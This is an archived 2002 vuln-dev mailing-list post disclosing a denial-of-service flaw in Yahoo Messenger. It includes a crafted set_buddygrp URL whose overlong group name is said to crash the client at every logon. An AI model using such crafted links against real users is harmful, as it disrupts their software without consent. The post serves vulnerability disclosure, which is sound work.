yahoo messenger DOS

From: adam lang (themeetup@hotmail.com)
Date: 02/26/02


From: "adam lang" <themeetup@hotmail.com>
To: vuln-dev@securityfocus.com
Date: Mon, 25 Feb 2002 23:42:15 +0000

When adding friends to your yahoo messenger you can click a link on their
profile. and it will put it in the friends group. The problem is with all
versions of yahoo messenger it cannot handle long group names. So if where
to visit.

http://edit.yahoo.com/config/set_buddygrp?.src=&.cmd=a&.bg=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&.bdl=YAHOONAME&.done=http%3a//profiles.yahoo.com/YAHOONAME

This would cause your yahoo messenger to crash by cauing an illegal
operation everytime you logon.

- GTH

_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com